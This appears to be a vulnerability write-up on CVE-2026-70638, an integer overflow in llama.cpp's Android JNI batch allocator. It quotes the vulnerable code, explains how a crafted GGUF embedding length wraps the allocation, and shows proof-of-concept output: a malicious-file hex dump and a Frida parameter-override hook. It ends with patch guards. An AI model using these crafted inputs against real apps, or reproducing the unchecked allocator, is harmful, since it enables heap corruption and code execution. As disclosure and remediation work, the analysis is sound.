One Multiply Too Many: CVE-2026-70638 — Integer Overflow in llama.cpp's Android JNI Heap Allocation
On August 6, 2026, NIST’s National Vulnerability Database published CVE-2026-70638, a high-severity integer-overflow vulnerability sitting not in some obscure plugin, but in llama.cpp itself — specifically the JNI wrapper that powers on-device LLM inference on Android. NVD scores it 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), and it is the kind of bug that is going to become routine as everyone rushes to run large language models locally on phones.
The vulnerable function is thirty lines of C++. It allocates a llama_batch — the structure that feeds tokens into the model — by performing a handful of malloc(sizeof(T) * count) computations without a single bounds check. Hand an attacker-controlled multiplier into one of those counts and the allocation size wraps, the heap block comes back far smaller than the caller believes, and the writes that follow overflow it. Textbook CWE-190 → CWE-122.
What makes this worth a deep dive is the delivery vector. One of those multipliers is the model’s embedding dimension, read straight out of the GGUF model file’s metadata. In other words, the model file is treated as trusted input, and a crafted .gguf shared in a forum is enough to reach the vulnerable allocator inside the app sandbox. In our previous article on LLaMA-Factory’s WebUI RCE via a hardcoded trust_remote_code, we saw how the rush to integrate AI created a critical hole. CVE-2026-70638 is the mobile, native-code chapter of the same story.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-70638 |
| CVSS 3.1 (NVD) | 7.8 — High |
| CVSS 3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-190 — Integer Overflow or Wraparound; CWE-122 — Heap-based Buffer Overflow |
| Affected Component | Java_android_llama_cpp_LLamaAndroid_new_1batch() — Android JNI wrapper |
| Affected File | examples/llama.android/llama/src/main/cpp/llama-android.cpp |
| Affected Versions | llama.cpp builds b1886 through b7445 |
| Fixed Version | b7446 (Android binding rewrite, commit 5c0d1888) |
| CVE Published | August 6, 2026 |
| Discoverer | Cyera Research (Vladimir Tokarev, Ofek Itach); CVE allocated by VulnCheck |
| Original CVE IDs | CVE-2026-43623 (replaced by CVE-2026-70638) |
A note on provenance: this CVE comes out of a coordinated batch of ten vulnerabilities reported to the llama.cpp maintainer by Cyera Research between July 2025 and June 2026. According to Cyera’s disclosure record, all advisories were closed by the maintainer without fixes, and a public patch PR was likewise closed without merging. VulnCheck then allocated CVEs independently. CVE-2026-70638 is one of three originally filed under CVE-2026-43623/43624/43626, later reissued as CVE-2026-70638/70639/70640. The “fix” shipped as a full Android-binding rewrite (b7446) that removed the vulnerable JNI path rather than patching it in place — more on why that distinction matters in the remediation section.
Background: llama.cpp, the Android Binding, and the Batch
llama.cpp is the de facto open-source engine for running LLM inference on commodity hardware — CPUs, GPUs, and increasingly, mobile devices. Its reference Android binding lives under examples/llama.android/ and is a small but complete Kotlin/Compose app that shells down into a native libllama-android.so through JNI.
The data structure at the heart of every inference call is llama_batch, defined in include/llama.h:
typedef int32_t llama_pos;
typedef int32_t llama_token;
typedef int32_t llama_seq_id;
typedef struct llama_batch {
int32_t n_tokens;
llama_token * token;
float * embd;
llama_pos * pos;
int32_t * n_seq_id;
llama_seq_id ** seq_id;
int8_t * logits;
} llama_batch;
A batch bundles the tokens you want to process, their positions, their sequence affiliations (seq_id), and flags for which tokens should emit logits. The canonical way to allocate one is the public API call llama_batch_init(int32_t n_tokens_alloc, int32_t embd, int32_t n_seq_max). The Android binding, however, does not call that API. It ships its own hand-rolled copy of the allocator, exposed directly as a JNI export.
The Vulnerable Function
Here is the entire vulnerable function, verbatim from build b7445 (examples/llama.android/llama/src/main/cpp/llama-android.cpp:274):
extern "C"
JNIEXPORT jlong JNICALL
Java_android_llama_cpp_LLamaAndroid_new_1batch(JNIEnv *, jobject, jint n_tokens, jint embd, jint n_seq_max) {
// Source: Copy of llama.cpp:llama_batch_init but heap-allocated.
llama_batch *batch = new llama_batch { 0, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr };
if (embd) {
batch->embd = (float *) malloc(sizeof(float) * n_tokens * embd);
} else {
batch->token = (llama_token *) malloc(sizeof(llama_token) * n_tokens);
}
batch->pos = (llama_pos *) malloc(sizeof(llama_pos) * n_tokens);
batch->n_seq_id = (int32_t *) malloc(sizeof(int32_t) * n_tokens);
batch->seq_id = (llama_seq_id **) malloc(sizeof(llama_seq_id *) * n_tokens);
for (int i = 0; i < n_tokens; ++i) {
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);
}
batch->logits = (int8_t *) malloc(sizeof(int8_t) * n_tokens);
return reinterpret_cast<jlong>(batch);
}
The author even left a tell-tale comment: “Source: Copy of llama.cpp:llama_batch_init but heap-allocated.” It is a fork-in-time snapshot of llama_batch_init that never received the safety revisions the canonical version eventually got. Read the function top to bottom and you will not find a single check that any of its three jint parameters (n_tokens, embd, n_seq_max) is sane. Every malloc size is computed by multiplying a sizeof constant by one of those parameters — and several of those multiplications can wrap.
The most explicit one — and the one the CVE description names — is the per-token row allocation inside the loop:
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);
sizeof(llama_seq_id) is 4, and it has type size_t (unsigned). When n_seq_max is attacker-controlled, the product is whatever unsigned arithmetic says it is — and there is no if (n_seq_max <= 0) return;, no if (n_seq_max > SIZE_MAX / sizeof(llama_seq_id)) return;, nothing.
The Integer Overflow, Step by Step
Let’s make the arithmetic concrete. Take n_seq_max = 0x40000001. The vulnerable code computes:
sizeof(llama_seq_id) * n_seq_max
= 4 * 0x40000001
= 0x1_0000_0004 (4 GiB + 4 bytes)
What malloc receives depends entirely on the width of size_t, which depends on the ABI the .so was compiled for:
- arm64-v8a (64-bit
size_t): the value0x1_0000_0004is preserved as ~4 GiB.mallocof a 4 GiB block on a phone almost always fails and returnsNULL. The caller, believing the allocation succeeded, later dereferences it — a null-pointer dereference, i.e. a denial of service crash. - armeabi-v7a (32-bit
size_t): the value is truncated to 32 bits:0x1_0000_0004 & 0xFFFFFFFF = 0x4.malloc(4)happily returns a tiny 4-byte block. The caller, believing it owns0x40000001 * 4bytes, writes billions of bytes into a 4-byte heap object. That is a heap-based buffer overflow — heap metadata corruption, virtual-table smashing, and ultimately arbitrary code execution within the app’s process.
This ABI split is important and it is the reason CVSS carries C:H/I:H/A:H despite the 64-bit path “only” crashing. llama.cpp still ships the 32-bit armeabi-v7a ABI for older devices, and any app that bundles the affected .so for that ABI exposes the heap-corruption-to-RCE path. On 64-bit-only devices the practical impact is a reliable crash; on 32-bit it is full compromise of the inference process.
The other unchecked lines (malloc(sizeof(float) * n_tokens * embd), malloc(sizeof(llama_pos) * n_tokens), etc.) are the same bug class with different multipliers. They are all reachable from the same three attacker-influenced parameters.
The Delivery Vector: A Model File Is Untrusted Input
The natural next question is: how does an attacker control n_tokens, embd, or n_seq_max? The Kotlin side declares the binding plainly:
private external fun new_batch(nTokens: Int, embd: Int, nSeqMax: Int): Long
Two vectors are realistic, and the CVE description names both: “a crafted n_seq_max value through a malicious model file or JNI call.”
- Malicious model file. The
embdparameter is the model’s embedding dimension (n_embd), read directly from the GGUF metadata keyllama.embedding_length. A GGUF file is just a structured key/value header followed by tensors — there is no signature over the metadata and no sanity bound onembedding_length. A shared “quantized model” on a forum, a pull request that “adds a new checkpoint”, or a chat attachment can carry allama.embedding_lengthof0x40000001and reach the vulnerable allocator the moment the app prepares a batch. This matches theUI:Rin the CVSS vector: the victim merely loads a model. - JNI call. Any code path that can invoke the JNI export — a companion native library, a dynamically loaded plugin, or a second vulnerability used as a primitive — can pass arbitrary integers straight into
new_1batch. This is theAV:L(local) axis.
The honest framing is this: model files are untrusted binary blobs, and this binding lets values parsed from those blobs drive native heap allocation with zero validation. That is a trust boundary the ecosystem has not yet learned to respect.
Proof of Concept
The PoC isolates the bug so it is safe and reproducible anywhere — no Android device required. It has three parts.
Part 1 — The arithmetic demonstrator
overflow_demo.c replays the exact size math from new_1batch() for an attacker-chosen n_seq_max and prints the size that the vulnerable code hands to malloc under both 32-bit and 64-bit size_t. It performs no corrupted write — it only proves the multiplication wraps.
$ cc -O2 -o overflow_demo overflow_demo.c
$ ./overflow_demo
=== CVE-2026-70638: new_1batch() integer overflow demonstrator ===
[*] Vulnerable line (executed once per token):
batch->seq_id[i] = malloc(sizeof(llama_seq_id) * n_seq_max);
sizeof(llama_seq_id) = 4, computed in (unsigned) size_t
[1] Benign: n_seq_max = 1 (normal chat batch)
n_seq_max (attacker) = 1 (0x00000001)
malloc size, arm64 = 4 bytes (0.00 GiB)
malloc size, armeabi-v7a = 4 bytes
caller believes it got = 4 bytes
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
n_seq_max (attacker) = 1073741824 (0x40000000)
malloc size, arm64 = 4294967296 bytes (4.00 GiB)
malloc size, armeabi-v7a = 0 bytes
caller believes it got = 4294967296 bytes
>>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)
[3] Malicious: n_seq_max = 0x40000001. 4 * (2^30+1) = 2^32 + 4:
n_seq_max (attacker) = 1073741825 (0x40000001)
malloc size, arm64 = 4294967300 bytes (4.00 GiB)
malloc size, armeabi-v7a = 4 bytes
caller believes it got = 4294967300 bytes
>>> 32-bit WRAP: 4294967300-byte write into 4-byte heap block (CWE-122)
[*] Cyera's missing guard (from the CVE-2026-43627 patch):
if ((size_t)n_seq_max > SIZE_MAX / sizeof(llama_seq_id)) return;
SIZE_MAX / 4 = 4611686018427387903 (64-bit) | 1073741823 (32-bit)
Case 2 is the cleanest illustration: 4 * 0x40000000 = 0x1_0000_0000, which on a 32-bit ABI truncates to zero. The code then hands a “0-byte” buffer back to the caller and immediately proceeds to fill it.
Part 2 — The malicious model file
craft_gguf.py builds a minimal, structurally-valid GGUF whose llama.embedding_length is attacker-controlled. It is intentionally not a runnable model (no tensors) — it exists only to demonstrate that the multiplier is sourced from untrusted metadata.
$ python3 craft_gguf.py 0x40000001 malicious.gguf
[+] Wrote malicious.gguf (416 bytes)
llama.embedding_length = 0x40000001 (1073741825)
-> flows into embd param of JNI new_1batch()
-> triggers: malloc(sizeof(float) * n_tokens * embd) [unchecked]
$ xxd malicious.gguf | head -7
00000000: 4747 5546 0300 0000 0000 0000 0000 0000 GGUF............
00000010: 0900 0000 0000 0000 1400 0000 0000 0000 ................
00000020: 6765 6e65 7261 6c2e 6172 6368 6974 6563 general.architec
00000030: 7475 7265 0800 0000 0500 0000 0000 0000 ture............
00000040: 6c6c 616d 6116 0000 0000 0000 006c 6c61 llama........lla
00000050: 6d61 2e65 6d62 6564 6469 6e67 5f6c 656e ma.embedding_len
00000060: 6774 6804 0000 0001 0000 4011 0000 0000 gth.......@.....
The GGUF magic is followed by the general.architecture = "llama" key, then llama.embedding_length = 0x40000001. That value is exactly what a downstream engine parses into n_embd and passes as embd to new_1batch.
Part 3 — Live hook (optional, device-side)
hook_new_batch.js is a Frida script that attaches to Java_android_llama_cpp_LLamaAndroid_new_1batch on a running app and logs (or overrides) the three multiplicands as they cross the JNI boundary. Use it against a debuggable, authorized build to confirm the parameters an affected app actually passes.
$ frida -U -l hook_new_batch.js -f <package> --no-pause
[+] Hooking libllama-android.so!Java_android_llama_cpp_LLamaAndroid_new_1batch @ 0x...
[new_1batch] n_tokens=512 embd=4096 n_seq_max=1 -> seq_id row size (32-bit)=4
Attention! All three components are research tools. Pointing them at an app you do not own or at a real model marketplace is out of scope and, in most jurisdictions, illegal.
Impact
The damage is scoped by the CVSS vector, so let’s decode it rather than parrot the score:
AV:L(local) +UI:R(user interaction): the victim has to do something — typically open a shared model file or import a checkpoint. There is no network-listening exploit here.PR:N(no privileges): any app or context that can reach the JNI export or hand the app a model file can trigger it.C:H/I:H/A:HonS:U(scope unchanged): full compromise of the inference process — the app sandbox. Confidentiality (model weights, prompt history, embeddings of private text), integrity (tampered outputs), and availability (crash) are all on the table.
The realistic split, restated:
| Target ABI | Triggered defect | Practical outcome |
|---|---|---|
armeabi-v7a (32-bit, still shipped) |
Undersized heap allocation → overflow | Heap corruption → arbitrary code execution in the app process |
arm64-v8a (64-bit, modern Android) |
Multi-GiB allocation → malloc fails |
NULL dereference → reliable crash (DoS) |
There is also a subtler systemic risk: llama.cpp is embedded into a lot of downstream products — third-party Android chat apps, on-device assistants, RAG pipelines, and OEM demos. The vulnerable JNI copy is exactly the kind of code that gets copy-pasted into bindings for other languages (C#, Rust, Flutter) that mirror the reference implementation. Anyone who forked new_1batch inherited the bug; not all of them inherited the rewrite.
Remediation
Two paths, depending on whether you control the build.
Upgrade to b7446 or later
NVD cites commit 5c0d18881e0e9794c96b2602736b758bac9d9388 — the b7446 Android-binding rewrite (“llama.android : Rewrite Android binding”) — as the fix. That rewrite retired the old new_1batch JNI export and the vulnerable allocation path along with it. If you track upstream llama.cpp, pull to b7446 or newer and the specific defect is gone.
$ git clone https://github.com/ggml-org/llama.cpp
$ cd llama.cpp && git checkout b7446 # or any later tag
Caveat: this is an incidental fix. The rewrite happened in December 2025, eight months before the CVE was published, and it removed the vulnerable code rather than adding the targeted validation that Cyera’s reports asked for. If you pin to an old tag, vendor a fork, or maintain a downstream binding, you are on your own.
Apply validation if you must stay on an affected build
Cyera’s security-patches repository ships a guard for the canonical llama_batch_init() under CVE-2026-43627. That patch is the authoritative fix for this bug class — it adds the exact checks new_1batch is missing:
if (n_tokens_alloc <= 0 || n_seq_max <= 0 || embd < 0) {
return batch; // reject nonsensical inputs
}
if (n_tokens_alloc >= INT32_MAX) {
return batch; // avoid n_tokens_alloc + 1 overflow
}
if (embd > 0 && (size_t)n_tokens_alloc > SIZE_MAX / sizeof(float) / (size_t)embd) {
return batch; // embd-buffer overflow guard
}
if ((size_t)n_seq_max > SIZE_MAX / sizeof(llama_seq_id)) {
return batch; // seq_id-row overflow guard
}
If you maintain the affected JNI wrapper (or a copy of it), port those four lines into new_1batch verbatim before any malloc. The Cyera repo does not ship a 70638-specific patch file because the canonical guard is the CVE-2026-43627 check — applying the same logic to the Android copy is the fix.
Defense in depth for the model-file vector
Treat GGUF metadata as hostile. Specifically:
- Bound
embedding_lengthat load time against a sane maximum (real models range from a few hundred to ~12K). Reject anything in the billions. - Refuse to allocate when
mallocreturnsNULL— the vulnerable function never checks the return value of any of itsmalloccalls, which is what turns the 64-bit path into a guaranteed crash. - Sign or pin model provenance if your app fetches models from the network.
The Bigger Picture: Model Files Are the New Document Files
CVE-2026-70638 is, fundamentally, a story about a parser for a binary format that hands attacker-controlled integers to a memory allocator without checking them. We learned this lesson with image decoders in the 2000s and document parsers in the 2010s. We are now relearning it with model files.
A GGUF (or Safetensors, or ONNX) file carries dozens of integer fields that directly govern native allocations — tensor counts, dimensions, strides, context lengths, head counts. Every inference engine that reads these formats is, structurally, a parser of untrusted input. And the ecosystem’s current default is to trust the file: there is no signature scheme, no provenance chain, and widespread cultural assumption that “model files come from reputable labs.” As local inference moves onto phones — where a shared model is a tap away — that assumption becomes an attack surface.
The Cyera research that produced this CVE spans a corpus of ten CVEs across llama_batch_init, samplers, the KV cache, and the HTTP server — all documented, with reproducible patches, in their security-patches repository. CVE-2026-70638 is one row in that table, but it is the row that lands on a phone in your pocket.
The fixes are not exotic. They are the four lines above — the same integer-overflow guards that every C textbook has recommended for thirty years. The lesson is not technical; it is procedural. When you copy an allocator, copy its validation too. When you read integers from a file, assume they were written by an adversary. And when the upstream maintainer will not take the patch, ship it yourself.
SOURCES
NIST National Vulnerability Database — CVE-2026-70638: https://nvd.nist.gov/vuln/detail/CVE-2026-70638
Affected source (build b7445): https://github.com/ggml-org/llama.cpp/blob/b7445/examples/llama.android/llama/src/main/cpp/llama-android.cpp
Fix / Android-binding rewrite (commit 5c0d1888): https://github.com/ggml-org/llama.cpp/commit/5c0d18881e0e9794c96b2602736b758bac9d9388
llama.cpp release b7446: https://github.com/ggml-org/llama.cpp/releases/tag/b7446
Cyera Research security patches repository: https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches
CVE-2026-43627 (canonical llama_batch_init overflow guard): https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches/blob/main/patches/CVE-2026-43627-batch-init-overflow.patch
llama_batch struct definition (llama.h): https://github.com/ggml-org/llama.cpp/blob/b7445/include/llama.h
GGUF embedding_length key (llama-arch.cpp): https://github.com/ggml-org/llama.cpp/blob/b7445/src/llama-arch.cpp
CWE-190 — Integer Overflow or Wraparound (MITRE): https://cwe.mitre.org/data/definitions/190.html
CWE-122 — Heap-based Buffer Overflow (MITRE): https://cwe.mitre.org/data/definitions/122.html